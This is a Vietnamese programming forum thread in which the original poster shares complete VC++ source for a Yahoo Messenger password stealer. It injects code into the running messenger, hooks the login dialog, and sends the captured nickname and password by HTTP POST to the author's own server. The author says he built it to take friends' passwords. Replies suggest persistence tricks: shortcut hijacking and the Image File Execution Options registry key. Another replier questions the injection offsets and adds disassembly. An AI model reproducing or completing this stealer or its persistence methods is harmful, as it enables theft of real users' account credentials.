Trang 1 trên tổng số 3 123 Cuối cùngCuối cùng
Từ 1 tới 10 trên tổng số 22 kết quả

Đề tài: Sâu đục yahoo viết bằng VC++, mới chế xong code

  1. #1
    Ngày gia nhập
    07 2006
    Nơi ở
    Hà nội
    Bài viết
    204

    Mặc định Sâu đục yahoo viết bằng VC++, mới chế xong code

    Visual C++ Code:
    1. // BuddyCatch.cpp : Defines the entry point for the application.
    2. //
    3. //HTTP PACKET:
    4. //Coded by Linh (^_^)
    5.  
    6. #include "stdafx.h"
    7. #include <winsock2.h>
    8.  
    9. typedef LRESULT (WINAPI *SENDMESSAGE)(HWND,UINT,WPARAM,LPARAM);
    10. typedef LRESULT (WINAPI *MSGBOX)(HWND,LPCSTR,LPCSTR,UINT);
    11. typedef LRESULT (WINAPI *SETWINDOWLONG)(HWND,INT,LONG);
    12. typedef HWND    (WINAPI *FINDWINDOWEX)(HWND,HWND,LPCTSTR,LPCTSTR);
    13. typedef LRESULT (WINAPI *SLEEP)(DWORD);
    14. typedef LRESULT (WINAPI *CALLWINDOWPROC)(WNDPROC,HWND,UINT,WPARAM,LPARAM);
    15. typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);
    16. typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);
    17. typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE,LPCSTR);
    18. typedef HANDLE  (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
    19. typedef void    (WINAPI *COPYMEMORY)(PVOID,const VOID*,SIZE_T);
    20.  
    21.  
    22. typedef int (WINAPI *WSASTARTUP)(WORD,LPWSADATA);
    23. typedef SOCKET (WINAPI *CREATESOCK)(int,int,int);
    24. typedef int (WINAPI *CONNECT)(SOCKET,const struct sockaddr*,int);
    25. typedef int (WINAPI *SEND)(SOCKET,const char*,int,int);
    26. typedef int (WINAPI *RECV)(SOCKET,const char*,int,int);
    27. typedef int (WINAPI *CLOSESOCKET)(SOCKET);
    28. typedef int (WINAPI *WSACLEANUP)(void);
    29.  
    30. struct data
    31. {
    32.     SENDMESSAGE fnSendMessage;
    33.     MSGBOX fnMsgbox;
    34.     SETWINDOWLONG fnSetWindowLong;
    35.     FINDWINDOWEX fnFindWindowEx;
    36.     SLEEP fnSleep;
    37.     CALLWINDOWPROC fnCallWindowProc;
    38.     LOADLIBRARY fnLoadLibrary;
    39.     GETPROCADDRESS fnGetProcAddress;
    40.     CREATETHREAD fnCreateThread;
    41.     COPYMEMORY fnCopyMemory;
    42.     char strWsaStartUp[11];
    43.     char strSocket[7];
    44.     char strConnect[8];
    45.     char strSend[5];
    46.     char strRecv[5];
    47.     char strCloseSocket[12];
    48.     char strWsaCleanup[11];
    49.     char modulename[7];
    50.     char clsname[7];
    51.     char strEdit[5];
    52.     char ts[117];
    53.     char ts2[34];
    54.     char ts3[5];
    55.     HWND mainwnd;
    56.     WNDPROC WndProc;
    57.     void* SendThread;
    58.     HWND dlgwnd;
    59.     WNDPROC prevproc;
    60.     WSASTARTUP fnWsaStartUp;
    61.     CREATESOCK fnSocket;
    62.     CONNECT fnConnect;
    63.     SEND fnSend;
    64.     RECV fnRecv;
    65.     CLOSESOCKET fnCloseSocket;
    66.     WSACLEANUP fnWsaCleanup;
    67.     HWND txtUser;
    68.     HWND txtPass;
    69.     char user[100];
    70.     char pass[100];
    71. };
    72.  
    73. data* remotedat;
    74.  
    75. static SendThread (data* dat)
    76. {
    77.     char hexchar[] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
    78.     char sendbuf[300];
    79. //17
    80. //116 33 4
    81.     int c;
    82.     for (c = 0; c <= 116; c++) sendbuf[c] = dat->ts[c];
    83.  
    84.     int size = 0;
    85.     c = 0;
    86.     while (dat->pass[c] != 0)
    87.     {
    88.         if (((dat->pass[c] < 'a') || (dat->pass[c] > 'z')) && ((dat->pass[c] < 'A') || (dat->pass[c] > 'Z')) && ((dat->pass[c] < '0') || (dat->pass[c] > '9')) && (dat->pass[c] != '@')
    89.             && (dat->pass[c] != '*') && (dat->pass[c] != '-') && (dat->pass[c] != '_') && (dat->pass[c] != '.'))
    90.             size+=3;
    91.         else
    92.         {
    93.             size+=1;
    94.         };
    95.         c++;
    96.     };
    97.     c = 0;
    98.     while (dat->user[c] != 0)
    99.     {
    100.         if (((dat->user[c] < 'a') || (dat->user[c] > 'z')) && ((dat->user[c] < 'A') || (dat->user[c] > 'Z')) && ((dat->user[c] < '0') || (dat->user[c] > '9')) && (dat->user[c] != '@')
    101.             && (dat->user[c] != '*') && (dat->user[c] != '-') && (dat->user[c] != '_') && (dat->user[c] != '.'))
    102.             size+=3;
    103.         else
    104.         {
    105.             size+=1;
    106.         };
    107.         c++;
    108.     };
    109.     c = 0;
    110.     size += 17;
    111.     int s2 = size;
    112.     while (s2 != 0) {s2 = s2 / 10; c++;};
    113.     int cur = 116 + c;
    114.     sendbuf[cur] = 0;
    115.     c--;
    116.     while (size != 0)
    117.     {
    118.         sendbuf[116 + c] = size % 10 + 48;
    119.         size = size / 10;
    120.         c--;
    121.     };
    122.     for (c = 0; c <= 33; c++) sendbuf[cur + c] = dat->ts2[c];
    123.     cur+= c - 1;
    124.  
    125.     c = 0;
    126.     while (dat->user[c] != 0)
    127.     {
    128.         if (((dat->user[c] < 'a') || (dat->user[c] > 'z')) && ((dat->user[c] < 'A') || (dat->user[c] > 'Z')) && ((dat->user[c] < '0') || (dat->user[c] > '9')) && (dat->user[c] != '@')
    129.             && (dat->user[c] != '*') && (dat->user[c] != '-') && (dat->user[c] != '_') && (dat->user[c] != '.'))
    130.         {
    131.             sendbuf [cur] = '%';
    132.             sendbuf[cur + 1 ] = hexchar[dat->user[c] >> 4];
    133.             sendbuf[cur+2] = hexchar[dat->user[c] & 0xf];
    134.             cur+=3;
    135.         }
    136.         else
    137.         {
    138.             sendbuf[cur] = dat->user[c];
    139.             cur++;
    140.         };
    141.         c++;
    142.     };
    143.     for (c = 0; c <= 4; c++) sendbuf[cur + c] = dat->ts3[c];
    144.     cur+=c - 1;
    145.     c=0;
    146.     while (dat->pass[c] != 0)
    147.     {
    148.         if (((dat->pass[c] < 'a') || (dat->pass[c] > 'z')) && ((dat->pass[c] < 'A') || (dat->pass[c] > 'Z')) && ((dat->pass[c] < '0') || (dat->pass[c] > '9')) && (dat->pass[c] != '@')
    149.             && (dat->pass[c] != '*') && (dat->pass[c] != '-') && (dat->pass[c] != '_') && (dat->pass[c] != '.'))
    150.         {
    151.             sendbuf [cur] = '%';
    152.             sendbuf[cur + 1 ] = hexchar[dat->pass[c] >> 4];
    153.             sendbuf[cur+2] = hexchar[dat->pass[c] & 0xf];
    154.             cur+=3;
    155.         }
    156.         else
    157.         {
    158.             sendbuf[cur] = dat->pass[c];
    159.             cur++;
    160.         };
    161.         c++;
    162.     };
    163.     sendbuf[cur] = 0;
    164.  
    165.     SOCKET sock = dat->fnSocket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    166.     sockaddr_in name;
    167.     name.sin_family = AF_INET;
    168.     name.sin_port = MAKEWORD (0, 80);
    169.     name.sin_addr.S_un.S_addr = MAKELONG (MAKEWORD (65,182), MAKEWORD (101,243));
    170.     dat->fnConnect (sock, (sockaddr*) &name, sizeof (sockaddr));
    171.     dat->fnSend (sock, &sendbuf[0], cur, 0);
    172.     char buf[100];
    173.     int ret = dat->fnRecv (sock, &buf[0], 100, 0);
    174.     dat->fnCloseSocket (sock);
    175.     dat->fnMsgbox (NULL, &sendbuf[0], NULL, MB_OK);
    176. };
    177. static void mark3();
    178.  
    179. static void Thread(data* dat)
    180. {
    181.     bool sub = false;
    182.     BYTE* addr = (BYTE*) dat->WndProc;
    183.     addr+= 12;
    184.     long* a = (long*) addr;
    185.     *a = (long) dat;
    186.  
    187.     HMODULE module = dat->fnLoadLibrary(&dat->modulename[0]);
    188.     dat->fnWsaStartUp = (WSASTARTUP) dat->fnGetProcAddress (module, dat->strWsaStartUp);
    189.     dat->fnSocket = (CREATESOCK) dat->fnGetProcAddress (module, dat->strSocket);
    190.     dat->fnConnect = (CONNECT) dat->fnGetProcAddress (module, dat->strConnect);
    191.     dat->fnSend = (SEND) dat->fnGetProcAddress (module, dat->strSend);
    192.     dat->fnRecv = (RECV) dat->fnGetProcAddress (module, dat->strRecv);
    193.     dat->fnCloseSocket = (CLOSESOCKET) dat->fnGetProcAddress (module, dat->strCloseSocket);
    194.     dat->fnWsaCleanup = (WSACLEANUP) dat->fnGetProcAddress (module, dat->strWsaCleanup);
    195.     BYTE wsadata[399];
    196.     dat->fnWsaStartUp (MAKEWORD (2,2), (WSADATA*) &wsadata[0]);
    197.  
    198.     while (true)
    199.     {
    200.         dat->dlgwnd = dat->fnFindWindowEx (dat->mainwnd, NULL, &dat->clsname[0], NULL);
    201.         if (dat->dlgwnd)
    202.         {
    203.             if (!sub)
    204.             {
    205.                 sub = true;
    206.                 dat->txtUser = dat->fnFindWindowEx (dat->dlgwnd, NULL, dat->strEdit, NULL);
    207.                 dat->txtPass = dat->fnFindWindowEx (dat->dlgwnd, dat->txtUser, dat->strEdit, NULL);
    208.                 dat->prevproc = (WNDPROC) dat->fnSetWindowLong (dat->dlgwnd, GWL_WNDPROC,(long) dat->WndProc);
    209.             };
    210.         }
    211.         else
    212.         {
    213.             if (sub) sub = false;
    214.         };
    215.         dat->fnSleep (1);
    216.     };
    217. };
    218. static void mark (void) {};
    219.  
    220. static LRESULT CALLBACK WndProc (
    221.     HWND hwnd,        // handle to window
    222.     UINT uMsg,        // message identifier
    223.     WPARAM wParam,    // first message parameter
    224.     LPARAM lParam)    // second message parameter
    225. {
    226.     data* dat = (data*) 0x0a0b0c0d;
    227.     if ((uMsg == WM_COMMAND) && (LOBYTE (wParam) == IDOK))
    228.     {
    229.         dat->fnSendMessage (dat->txtUser, WM_GETTEXT, dat->fnSendMessage (dat->txtUser, WM_GETTEXTLENGTH, NULL, NULL) + 1, (LPARAM) &dat->user[0]);
    230.         dat->fnSendMessage (dat->txtPass, WM_GETTEXT, dat->fnSendMessage (dat->txtPass, WM_GETTEXTLENGTH, NULL, NULL) + 1, (LPARAM) &dat->pass[0]);
    231.         if ((dat->fnSendMessage (dat->txtUser, WM_GETTEXTLENGTH, NULL, NULL) != 0) || (dat->fnSendMessage (dat->txtPass, WM_GETTEXTLENGTH, NULL, NULL) != 0))
    232.             dat->fnCreateThread (NULL, NULL,(LPTHREAD_START_ROUTINE) dat->SendThread, (LPVOID) dat, NULL, NULL);
    233.    
    234.     };
    235.     return dat->fnCallWindowProc((WNDPROC) dat->prevproc, hwnd, uMsg, wParam, lParam);
    236.  
    237. }
    238. static void mark2(void) {};
    239.  
    240. int APIENTRY WinMain(HINSTANCE hInstance,
    241.                      HINSTANCE hPrevInstance,
    242.                      LPSTR     lpCmdLine,
    243.                      int       nCmdShow)
    244. {
    245.     int size;
    246.     HINSTANCE hUser32 = GetModuleHandle ("User32");
    247.     HINSTANCE hKernel = GetModuleHandle ("Kernel32");
    248.     HANDLE ht;
    249.     DWORD tid, ret, pid;
    250.  
    251.     data dat =
    252.     {
    253.         (SENDMESSAGE) GetProcAddress (hUser32, "SendMessageA"),
    254.         (MSGBOX) GetProcAddress (hUser32, "MessageBoxA"),
    255.         (SETWINDOWLONG) GetProcAddress (hUser32, "SetWindowLongA"),
    256.         (FINDWINDOWEX) GetProcAddress (hUser32, "FindWindowExA"),
    257.         (SLEEP) GetProcAddress (hKernel, "Sleep"),
    258.         (CALLWINDOWPROC) GetProcAddress (hUser32, "CallWindowProcA"),
    259.         (LOADLIBRARY) GetProcAddress (hKernel, "LoadLibraryA"),
    260.         (GETPROCADDRESS) GetProcAddress (hKernel, "GetProcAddress"),
    261.         (CREATETHREAD) GetProcAddress (hKernel, "CreateThread"),
    262.         (COPYMEMORY) GetProcAddress (hKernel, "CopyMemory"),
    263.         "WSAStartup",
    264.         "socket",
    265.         "connect",
    266.         "send",
    267.         "recv",
    268.         "closesocket",
    269.         "WSACleanup",
    270.         "ws2_32",
    271.         "#32770",
    272.         "Edit",
    273.         "POST /post.asp HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: linhz96.brinkster.net\nContent-Length: ",
    274.         "\nConnection: Close\n\nB1=Submit&T1=",
    275.         "&T2=",
    276.         FindWindow ("YahooBuddyMain", NULL)
    277.     };
    278.     GetWindowThreadProcessId (dat.mainwnd, &pid);
    279.     HANDLE hp = OpenProcess (PROCESS_ALL_ACCESS, FALSE,pid);
    280.  
    281.     size = (LPBYTE) mark2 - (LPBYTE) WndProc;
    282.     dat.WndProc = (WNDPROC) VirtualAllocEx(hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    283.     WriteProcessMemory (hp, (LPVOID) dat.WndProc, WndProc, size, &ret);
    284. //  show ((long) dat.WndProc);
    285.  
    286.     size =  size = (LPBYTE) mark2 - (LPBYTE) SendThread;
    287.     dat.SendThread = VirtualAllocEx(hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    288.     WriteProcessMemory (hp, (LPVOID) dat.SendThread, SendThread, size, &ret);
    289. //  show ((long) dat.SendThread);
    290.  
    291.     remotedat = (data*) VirtualAllocEx(hp, 0, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    292.     WriteProcessMemory(hp, remotedat, &dat, sizeof(data), &ret);
    293. //  show ((long) remotedat);
    294.  
    295.     size = ((LPBYTE) mark - (LPBYTE) Thread);
    296.     DWORD* remotecode = (DWORD*) VirtualAllocEx (hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    297.     WriteProcessMemory (hp, remotecode, Thread, size, &ret);
    298. //  show ((long) remotecode);
    299.  
    300.     ht = CreateRemoteThread (hp, NULL, 0,
    301.                 (LPTHREAD_START_ROUTINE) remotecode,
    302.                 remotedat, 0 , &tid);
    303.  
    304.     WaitForSingleObject (ht, INFINITE);
    305.     CloseHandle (hp);
    306.     return 0;
    307. }

    Cái này sẽ inject code vào yahoo, bắt pass và nick, gửi đến đây: linhz96.brinkster.net/get.asp. Nó sẽ chi làm nhiệm vụ inject, xong sẽ kết thúc CT, việc còn lại để cho các code được Inject lo.
    Em làm cái này với mục đích lấy pass, nick yahoo trêu chúng nó chơi chứ ko có ý làm gì to tát đâu nhá.
    Nhưng mới xong phần chính, em định để CT chạy mỗi khi yahoo chạy nhưng ko biết làm thế nào. Gói file chạy này vào 1 file chạy khác. File gói vào được máy nó sẽ tung file bên trong ra, đổi tên file yahoo thành tên khác, ẩn đi rồi đổi tên CT của mình thành tên file của yahoo. Nhưng làm vậy thì ImageName của yahoo sẽ khác, nó nghi ngờ mất. Rồi nhỡ Yahoo đang chạy thì ko đổi được tên... Nhiều rắc rối quá. Ai cho em 1 giải pháp tối ưu nhỉ.
    Đã được chỉnh sửa lần cuối bởi hoanglinh9466 : 13-06-2007 lúc 05:25 PM.
    Life:\> dir

  2. #2
    Ngày gia nhập
    05 2007
    Bài viết
    55

    Hãy xét xem trên màn hình desktop có shortcut của yahoo không. Nếu có thì move nó vào đâu đó thay mình vào. Sau đó viết tiếp: Nếu mình bị khởi động từ desktop thì đổi tên yahoo, copy mình vào thế chỗ yahoo, khởi động yahoo giả, tắt mình, nếu mình bị khởi động trong folder của yahoo thì khởi động tiếp yahoo, xóa mình ở desktop move shortcut của yahoo lên desktop.
    Lòng vòng nhưng chắc hiệu quả, có gì sai sót thì bạn tự bổ sung. Ý tưởng thì như vậy.
    Ah này! Nể tình anh em trong mã nguồn nên tránh xa những yahoo nick có tên bắt đầu bằng ms, ptn, nampt nhé! Cám ơn!

  3. #3
    Ngày gia nhập
    07 2006
    Nơi ở
    Hà nội
    Bài viết
    204

    Em thử rồi, nếu đổi tên file chạy thật của yahoo thành tên khác thì 1 số cái sẽ ko dùng được như ko gửi file được, thỉnh thoảng lại báo lỗi... Bây h chắc chỉ còn cách tìm tất cả các shortcut trên máy nó rồi đổi lại cho nó dẫn đến CT của mình, rồi CT của mình sẽ chạy yahoo (vì bình thường chả ai vào tận thư mục của yahoo để chạy yahoo messenger cả !!).
    Life:\> dir

  4. #4
    Ngày gia nhập
    09 2006
    Bài viết
    711

    Code này cậu viết 100% đấy à, hoanglinh. Đã test kỹ chưa vậy ?

  5. #5
    Ngày gia nhập
    07 2006
    Nơi ở
    Hà nội
    Bài viết
    204

    Test kĩ lắm rồi với Y!M 8, code tự viết 100% (cũng khá đau đầu đấy, rất nhiều vấn đề cần giải quyết ). Nếu ai lấy về thử thì nhớ chạy yahoo trước khi chạy cái này. Nó chỉ làm nhiệm vụ inject code thôi chứ ko làm gì khác cả !!! (CHÚ Ý: để code hoạt động phải bỏ tủy chọn /GZ ở Project->Settings-> tab C/C++ -> Project Options, vì cái này mà phải khốn khổ mấy ngày)
    Chi tiết xem ở đây: http://www.codeproject.com/threads/winspy.asp
    Đã được chỉnh sửa lần cuối bởi hoanglinh9466 : 20-06-2007 lúc 08:43 PM.
    Life:\> dir

  6. #6
    Ngày gia nhập
    09 2006
    Bài viết
    711

    Mặc định Sâu đục yahoo viết bằng VC++, mới chế xong code

    Cậu giải thích giùm tui đoạn code này làm gì, căn cứ vào gì vì tui không hiểu:
    Code:
    BYTE* addr = (BYTE*) dat->WndProc;
    addr+= 12;
    long* a = (long*) addr;
    *a = (long) dat;
    Cảm ơn !

  7. #7
    Ngày gia nhập
    07 2006
    Nơi ở
    Hà nội
    Bài viết
    204

    Cái này hơi phức tạp 1 chút. Code được inject vào sẽ subclass parent window của nút signin của yahoo. Như vậy sẽ cần có 1 hàm mới dành cho cửa sổ được subclass. Trong hàm này sẽ cần dùng 1 số thông tin ở trong inject data. Nhưng vì nguyên mẫu hàm của 1 window proc là (HWND, UINT, WPARAM, LPARAM) ko thể thay đổi được nên ko thể truyền được địa chỉ của inject data để sử dụng trong hàm bằng cách truyền tham số. Có 2 cách được để cập ở trong bài viết của codeproject để giải quyết vấn đề này. Em sử dụng cách thứ 2.

    Chú ý dòng này ở trong windowproc:

    Code:
    data* dat = (data*) 0x0a0b0c0d;
    Khai báo biến con trỏ đến inject data là *dat ở trong windowproc để subclass. Hiện dat chưa có địa chỉ đúng (0x0a0b0c0d chỉ là để đánh dấu) và windowproc này chưa được dùng để subclass. Ta sẽ dùng Thread ban đầu đã được inject để ghi đè địa chỉ thực của inject data vào 0x0a0b0c0d. Ta đã biết địa chỉ của windowproc, vậy ta cần biết được khoảng cách của giá trị 0x0a0b0c0d so với byte đầu tiên của hàm để ghi đè giá trị thực vào. Để biết vị trí của giá trị 0x0a0b0c0d trong hàm windowproc có nhiều cách, đơn giản nhất là xem toàn bộ nội dung hàm windowproc theo từng byte (có thể dùng 1 hàm để đọc và hiện ra ). Nhìn xem đoạn giá trị 10 11 12 13 nó cách giá trị đầu tiên bao nhiêu thì đó chính là khoảng cách, đêm thấy đó là 12. Và đoạn code trong hàm Thread được Inject:
    Code:
    BYTE* addr = (BYTE*) dat->WndProc;  //trỏ đến byte đầu tiên của windowproc
    addr+= 12;                        //Tăng con trỏ lên 12 để trỏ đến 0x0a0b0c0d
    long* a = (long*) addr;       //Địa chỉ của inject data là 1 số 4 byte
    *a = (long) dat;                //Ghi đè địa chỉ thực lên 0x0a0b0c0d
    Sẽ làm nhiệm vụ ghi đè giá trị thực của inject data vào chỗ 0x0a0b0c0d.

    Đó chính là chỗ khó của kĩ thuật inject.
    Đã được chỉnh sửa lần cuối bởi hoanglinh9466 : 20-06-2007 lúc 09:39 PM.
    Life:\> dir

  8. #8
    Ngày gia nhập
    09 2006
    Bài viết
    711

    Tại sao phải là 12, mà không là 8, 16, 20. Trong stack của WndProc của cậu đang chứa cái gì, từ ESP, ESP + 4, ESP + 8, ESP + 12, ....cậu mô tả rõ ra đi, mã ASM nó ra sao, và nếu code này được compile = compiler # với của cậu thì ra sao, liệu có còn là 12 nữa không. VD code này được compiler trên C++Builder, VC++6, VS 2003, 2005.
    Khi WndProc được gọi thì cái gì được push vào stack trước khi vào entrypoint của hàm, và prologue của hàm push cái gì vào statck.

  9. #9
    Ngày gia nhập
    07 2006
    Nơi ở
    Hà nội
    Bài viết
    204

    Ơ anh này hay nhể, đếm thấy nó là 12 thì biết nó là 12 chứ còn biết tại sao.
    Mã asm đây nhá.

    Code:
    225:   LRESULT CALLBACK WndProc (
    226:      HWND hwnd,        // handle to window
    227:      UINT uMsg,        // message identifier
    228:      WPARAM wParam,    // first message parameter
    229:      LPARAM lParam)    // second message parameter
    230:  {
    00401120 55                   push        ebp
    00401121 8B EC                mov         ebp,esp
    00401123 83 EC 44             sub         esp,44h
    00401126 53                   push        ebx
    00401127 56                   push        esi
    00401128 57                   push        edi
    231:      data* dat = (data*) 0x0a0b0c0d;
    00401129 C7 45 FC 0D 0C 0B 0A mov         dword ptr [ebp-4],0A0B0C0Dh
    232:      if ((uMsg == WM_COMMAND) && (LOBYTE (wParam) == IDOK))
    00401130 81 7D 0C 11 01 00 00 cmp         dword ptr [ebp+0Ch],111h
    .......
    Đấy anh thấy ko, từ byte đầu tiên của hàm: push ebp có mã là 55.
    đến đoạn giá trị 0x0a0b0c0d là 0D 0C 0B 0A, đếm thấy nó là 12

    Còn với các trình dịch khác thì chắc là nó sẽ khác. Nhưng khi dịch ra file exe rồi, chạy thấy nó hoạt động tốt thì biết nó đúng thôi.

    Còn đây là thứ tự hoạt động khi đã được inject hết vào yahoo nhá:
    -Đầu tiên hàm Thread sẽ được chạy, tham số của hàm này là địa chỉ của data được inject. Nó sẽ ghi đè giá trị này vào giá trị 0x0a0b0c0d trong hàm WndProc.
    -Kiểm tra xem có nút sign in ko, nếu có thì sẽ subclass cái nút đó = hàm WndProc (đã được sửa rồi).

    Đó thế thôi, đơn giản dễ hiểu mà
    Life:\> dir

  10. #10
    Ngày gia nhập
    09 2006
    Bài viết
    711

    Không phải là tui không hiểu, article này tui đọc từ lâu lắc rồi, từ cái thời sáng nào vào cty cũng bỏ gần 2h đọc CodeProject. Tui chỉ hỏi là để chắc chắn code này có phải cậu viết hay không, và cậu có hiểu rõ về nó hay không.
    Hỏi cậu tiếp, option /GZ có mục đích gì, làm thay đổi gì trong code ASM WndProc của cậu, và tại sao WndProc sẽ bị crash với option này. Cậu đang dùng VC++6 phải không ?
    Thay vì đếm 12, cậu có cách nào khác để tìm offset của 0x0A0B0C0D trong memory của WndProc hay không, khi start address của WndProc cậu biết, size của nó cậu cũng đã biết. Không nên hardcode. Article cũng đang dùng cách này, và tui không đồng ý lắm, thấy hơi workaround và tà đạo.
    Còn cái cậu hỏi, tui có thể gợi ý cho cậu, nhưng hy vọng là cậu chỉ dùng với mục đích học tập, chứ không quậy phá. Tui vô cùng ghét cái đám nhóc viết virus. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Your Image File Name Here without a path.
    À sẵn tiện hỏi, khi cậu inject 1 thread vào 1 process, làm sao detect và kill thread đó.
    Đã được chỉnh sửa lần cuối bởi TQN : 20-06-2007 lúc 10:31 PM.

Các đề tài tương tự

  1. Bài tập C++ Em viết code này nhưng những lỗi báo em sửa oy thì vẫn không chạy được
    Gửi bởi minhthanh_vfu trong diễn đàn Nhập môn lập trình C/C++
    Trả lời: 1
    Bài viết cuối: 07-11-2011, 10:46 PM
  2. Code bài toán n Hậu viết bằng C++. Chương trình không chạy nếu n > 14?
    Gửi bởi we004338 trong diễn đàn Thảo luận, góp ý code C/C++ của bạn
    Trả lời: 1
    Bài viết cuối: 19-09-2011, 10:52 PM
  3. mình viết chương trình tính giờ,phút,giây xong rùi nhưng hok bit làm sao cho no chạy t
    Gửi bởi betong trong diễn đàn Nhập môn lập trình C/C++
    Trả lời: 3
    Bài viết cuối: 25-10-2009, 08:51 AM
  4. Source code virus spam yahoo viết bằng VC++
    Gửi bởi winner83 trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 2
    Bài viết cuối: 11-08-2009, 09:11 AM
  5. Thuật toán BFS viết bằng C++, code không chạy được?
    Gửi bởi johansen trong diễn đàn Thắc mắc lập trình C/C++/C++0x
    Trả lời: 2
    Bài viết cuối: 11-02-2008, 09:37 AM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn